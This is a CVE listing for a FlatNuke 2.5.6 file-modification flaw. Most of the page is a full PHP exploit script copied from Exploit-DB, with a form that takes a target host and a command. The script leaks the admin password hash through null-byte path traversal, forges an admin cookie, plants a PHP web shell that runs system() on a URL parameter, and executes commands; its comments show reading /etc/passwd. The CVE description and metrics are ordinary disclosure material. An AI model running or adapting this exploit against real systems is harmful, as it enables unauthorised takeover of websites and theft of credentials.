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CVE Descriptions
verify.php in FlatNuke 2.5.6 allows remote authenticated administrators to modify arbitrary PHP files by setting the file parameter to an arbitrary file and injecting the code into the body parameter. NOTE: if a FlatNuke administrator is normally assumed to be able to modify arbitrary content, then this issue does not cross privilege boundaries and would not be a vulnerability.
CVE Informations
Metrics
| Metrics | Score | Severity | CVSS Vector | Source |
|---|---|---|---|---|
| V2 | 4 | AV:N/AC:L/Au:S/C:N/I:P/A:N | nvd@nist.gov |
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 1367
Publication date : 2005-12-09 23h00 +00:00
Author : rgod
EDB Verified : Yes
<?php
# ---flatnuke_256_xpl.php 4.32 10/12/2005
#
# Flatnuke 2.5.6 privilege escalation / remote commands execution exploit
# (works with magic_quotes_gpc off, try this with 2.5.5:
# http://www.milw0rm.com/id.php?id=1140 (https://www.exploit-db.com/exploits/1140/))
#
# coded by rgod at http://rgod.altervista.org
# mail: retrogod at aliceposta it
# original advisory: http://rgod.altervista.org/flatnuke256_xpl.html
#
# software:
# site: http://flatnuke.sourceforge.net
# description: a PHP Content Management System
#
# Explaination: if magic_quotes_gpc is off you can have any admin/user MD5
# password hash, poc:
# http://[target]/[path]/?mod=read&id=../forum/users/[adminname].php%00
# now you can build an admin cookie:
#
# Cookie: myforum:[adminname]; secid:[md5([adminame].[MD5hash])]
#
# as admin, you can edit any php file on target system and insert a shell,
# example:
#
# POST /flatnuke/verify.php HTTP/1.1
# Content-Type: application/x-www-form-urlencoded
# Host: [target_host]
# Content-Length: [data_length]
# Cookie: [admin_cookie]
# Connection: Close
#
# mod=modcont&from=index.php&body=[SHELL]&file=forum%2fusers%2f[username].php
#
# now you launch commands:
#
# http://[target]/[path]/forum/users/[username].php?cmd=cat%20/etc/passwd
#
# Vendor has notified on August 2005 about credentials disclosure,
# no patch has been released
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout", 2);
ob_implicit_flush (1);
echo'<html><head><title>*** Flatnuke 2.5.6 remote commands execution exploit ***
</title><meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
<style type="text/css"> body {background-color:#111111; SCROLLBAR-ARROW-COLOR:
#ffffff; SCROLLBAR-BASE-COLOR: black; CURSOR: crosshair; color: #1CB081; } img
{background-color: #FFFFFF !important} input {background-color: #303030
!important} option { background-color: #303030 !important} textarea
{background-color: #303030 !important} input {color: #1CB081 !important} option
{color: #1CB081 !important} textarea {color: #1CB081 !important} checkbox
{background-color: #303030 !important} select {font-weight: normal; color:
#1CB081; background-color: #303030;} body {font-size: 8pt !important;
background-color: #111111; body * {font-size: 8pt !important} h1 {font-size:
0.8em !important} h2 {font-size: 0.8em !important} h3 {font-size: 0.8em
!important} h4,h5,h6 {font-size: 0.8em !important} h1 font {font-size: 0.8em
!important} h2 font {font-size: 0.8em !important}h3 font {font-size: 0.8em
!important} h4 font,h5 font,h6 font {font-size: 0.8em !important} * {font-style:
normal !important} *{text-decoration: none !important} a:link,a:active,a:visited
{ text-decoration: none ; color : #99aa33; } a:hover{text-decoration: underline;
color : #999933; } .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; } .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-weight:bold; font-style: italic;}--></style></head><body><p class="Stile6">
*** Flatnuke 2.5.6 remote commands execution exploit *** </p><p class="Stile6">a
script by rgod at <a href="http://rgod.altervista.org"target="_blank">
http://rgod.altervista.org</a></p><table width="84%"><tr><td width="43%"> <form
name="form1" method="post" action="'.strip_tags($SERVER[PHP_SELF]).'"><p><input
type="text" name="host"> <span class="Stile5">* hostname (ex:www.sitename.com)
</span></p> <p><input type="text" name="path"> <span class="Stile5">* path (ex:
/flatnuke/ or just / ) </span></p><p><input type="text" name="command"> <span
class="Stile5"> * specify a command </span> </p> <p> <input type="text"
name="port"> <span class="Stile5">specify a port other than 80 ( default
value )</span> </p> <p> <input type="text" name="proxy"><span class="Stile5">
send exploit through an HTTP proxy (ip:port) </span></p><p><input type="submit"
name="Submit" value="go!"></p></form> </td></tr></table></body></html>';
function show($headeri)
{
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
$ji=0;
$ci++;
echo "<td> </td>";
for ($li=0; $li<=15; $li++)
{ echo "<td>".$headeri[$li+$ki]."</td>";
}
$ki=$ki+16;
echo "</tr><tr>";
}
if (strlen($datai)==1) {echo "<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
{ echo "<td> </td>";
}
for ($li=$ci*16; $li<=strlen($headeri); $li++)
{ echo "<td>".$headeri[$li]."</td>";
}
echo "</tr></table>";
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacket() //if you have sockets module loaded, 2x speed! if not,load
//next function to send packets
{
global $proxy, $host, $port, $packet, $html, $proxy_regex;
$socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if ($socket < 0) {
echo "socket_create() failed: reason: " . socket_strerror($socket) . "<br>";
}
else
{ $c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
echo "OK.<br>";
echo "Attempting to connect to ".$host." on port ".$port."...<br>";
if ($proxy=='')
{
$result = socket_connect($socket, $host, $port);
}
else
{
$parts =explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$result = socket_connect($socket, $parts[0],$parts[1]);
}
if ($result < 0) {
echo "socket_connect() failed.\r\nReason: (".$result.") " . socket_strerror($result) . "<br><br>";
}
else
{
echo "OK.<br><br>";
$html= '';
socket_write($socket, $packet, strlen($packet));
echo "Reading response:<br>";
while ($out= socket_read($socket, 2048)) {$html.=$out;}
echo nl2br(htmlentities($html));
echo "Closing socket...";
socket_close($socket);
}
}
}
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='')
{$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) { echo 'No response from '.htmlentities($host);
die; }
}
else
{
$c = preg_match($proxy_regex,$proxy);
if (!$c) {echo 'Not a valid prozy...';
die;
}
$parts=explode(':',$proxy);
echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) { echo 'No response from proxy...';
die;
}
}
fputs($ock,$packet);
if ($proxy=='')
{
$html='';
while (!feof($ock))
{
$html.=fgets($ock);
}
}
else
{
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html)))
{
$html.=fread($ock,1);
}
}
fclose($ock);
echo nl2br(htmlentities($html));
}
function make_seed()
{
list($usec, $sec) = explode(' ', microtime());
return (float) $sec + ((float) $usec * 100000);
}
$host=$_POST[host];$path=$_POST[path];
$port=$_POST[port];$command=$_POST[command];
$proxy=$_POST[proxy];
if (($host<>'') and ($path<>'') and ($command<>''))
{
$port=intval(trim($port));
if ($port=='') {$port=80;}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
$host=str_replace("\r\n","",$host);
$path=str_replace("\r\n","",$path);
srand(make_seed());
$v = rand(1,9999);
$username="SUNTZU".$v;
echo '<br>Your username: '.htmlentities($username);
#STEP 1 -> Register...
$data="op=reg&nome=".$username;
$data.="®pass=jimihendrix";
$data.="&reregpass=jimihendrix";
$data.="&anag=jimihendrix";
$data.="&email=fake@fakemail.fke";
$data.="&homep=".urlencode('http://www.asite.com');
$data.="&prof=PUNK";
$data.="&prov=whereimfrom";
$data.="&ava=clanbomber.png";
$data.="&url_avatar=";
$data.="&firma=";
$packet="POST ".$path."forum/index.php HTTP/1.1\r\n";
$packet.="Accept-Encoding: text/plain\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
#STEP 2 -> Login... (you cannot see memberlist if you are not registered...)
$data="op=login&nome=".$username."&logpassword=jimihendrix";
$packet="POST ".$path."forum/index.php HTTP/1.1\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
$temp=explode("Set-Cookie: ",$html);
$temp2=explode(' ',$temp[1]);
$cookie=$temp2[0];
$temp2=explode(' ',$temp[2]);
$cookie.=" ".$temp2[0];
echo '<br>Your cookie: '.htmlentities($cookie);
#STEP 3 -> Retrieve admin name from memberlist
for ($i=1; $i<=100; $i++)
{
$packet="GET ".$path."forum/index.php?op=members&page=".$i." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi('class=normal>10',$html)) { break; }
}
$temp=explode("class=normal>10",$html);
$temp2=explode("user=",$temp[0]);
$temp=explode(">",$temp2[count($temp2)-1]);
$ADMIN=$temp[0];
echo '<br>Admin: '.htmlentities($ADMIN);
#STEP 4 -> Retrieve admin MD5 password hash...
$packet="GET ".$path."?mod=read&id=../forum/users/".$ADMIN.".php%00 HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (!eregi("<?",$html)) {die("Exploit failed... it seems we have magic_quotes_gpc on here...");}
$temp=explode("<?".chr(0x0a)."#",$html);
$temp2=explode(chr(0x0a),$temp[1]);
$HASH=$temp2[0];
echo '<br>Admin md5 password hash: '.htmlentities($HASH);
# Now build new admin cookie...
$SECID=md5($ADMIN.$HASH);
$COOKIE="myforum=".$ADMIN."; secid=".$SECID.";";
echo '<br>Now you have admin cookie: '.htmlentities($COOKIE);
#STEP 5 -> Edit some file... example: my profile ;)
$COMPTEMPT="<?\n#".md5("jimihendrix")."\n#jimihendrix\n#fake@fakemail.fke\n#http://www.asite.com\n";
$COMPTEMPT.="#PUNK\n#whereimfrom\n#clanbomber.png\n#\n#10\n?>\n"; //assign level 10 to new user
//edit this, if system() is disabled you may try passtrhu(),exec() or backticks...
//we also see phpinfo()
$SHELL.=$COMPTEMPT."<?php echo \"Hi Master\";error_reporting(0);ini_set(\"max_execution_time\",0); phpinfo(); system(\$HTTP_GET_VARS[cmd]);?>";
$SHELL=urlencode($SHELL);
$data="mod=modcont&from=index.php&body=".$SHELL."&file=forum%2fusers%2f".$username.".php";
$packet="POST ".$path."verify.php HTTP/1.1\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: ".$COOKIE."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
show($packet);
sendpacketii($packet);
#STEP 6 -> Launch commands...
$packet="GET ".$path."forum/users/".$username.".php?cmd=".urlencode($command)." HTTP/1.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
show($packet);
sendpacketii($packet);
if (eregi("Hi Master",$html)) {echo "Exploit succeeded...Also you can login as admin with<br>";
echo "username: ".$username."<br>";
echo "password: jimihendrix<br>";
}
else {echo "Exploit failed...";}
}
else {echo "Fill * required fields, optionally specify a proxy..."; }
?>
# milw0rm.com [2005-12-10]
Products Mentioned
Configuraton 0
Flatnuke>>Flatnuke >> Version 2.5.6
- Flatnuke>>Flatnuke >> Version 2.5.6 (Open CPE detail)
References
http://cvs.sourceforge.net/viewcvs.py/flatnuke/flatnuke/Changelog?rev=1.78&view=markup
Tags : x_refsource_MISC
Tags : x_refsource_MISC
